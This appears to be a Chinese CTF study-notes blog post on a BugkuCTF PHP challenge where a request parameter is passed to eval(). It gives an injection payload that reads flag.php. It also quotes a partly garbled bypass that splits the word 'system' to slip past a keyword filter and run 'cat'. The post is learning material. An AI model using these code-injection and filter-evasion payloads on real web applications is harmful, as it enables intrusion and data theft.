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虽然是参考别人的，但是，为了能够灵活使用工具啥的，拓展一下还是每天来一题CTF吧。

writeup正版点这里

题目所给的代码块

 <?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?> 

分析代码：

eval() 函数用来执行一个字符串表达式，并返回表达式的值。
eval 函数的功能就是讲一个字符串当作 php 的代码进行执行
比如在python环境里

n=2
eval("n+2")
返回的就是4

flag的取得来源：在url里输入“
 ?hello=$a);print_r(file("./flag.php")); //

对writeup进行深入探测：

第一点：url里的一些标识符

$
一般来说代表变量，$a表示变量a

？：在url里起连接作用，以及清除缓存的作用（加了？后不调用缓存的内容，被认为一个新的地址，重新读取）

@ 屏蔽掉出错信息,有@时就算连接出错,也不会报错的

防止别人根据错误提示信息来推测出你的数据库结构进行注入攻击一类的黑客行为

第二点：print_r

print_r：打印复合类型 如数组 对象等，打印关于变量的易于理解的信息。

https://blog.csdn.net/Sandra_93
https://blog.csdn.net/sandra_93/category_8228064.html
https://so.csdn.net/so/search/s.do?q=BugkuCTF&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/Sandra_93/article/details/83062955
https://blog.csdn.net/sandra_93/category_8228064.html
https://www.jianshu.com/p/1d10520cbed9
https://www.jb51.net/article/86775.htm
https://blog.csdn.net/anihasiyou/article/details/11921301


附加：http中的payload
python构造payload

第三点：正则表达部分：

. :匹配除“\n”和"\r"之外的任何单个字符。要匹配包括“\n”和"\r"在内的任何字符，请使用像“[\s\S]”的模式。

这种不是很懂，以后有机会再来解析一下

?hello= a=“sys”;

一些webwriteup
https://www.cnblogs.com/zhengjim/p/6972527.html

a);

b= c= b;echo%20 c(“cat%20./flag.php”);
//
这里发现 i春秋 在http请求中拦截了 system 函数等关键字 ,
因此可以通过 php 的字符串连接成为函数名 , 然后进行调用
这里其实是把 system 函数名作为字符串分开 , 这样在 http 请求头中不会出现 “system(xxx)” 这样
关键字

"tem"; a. c;
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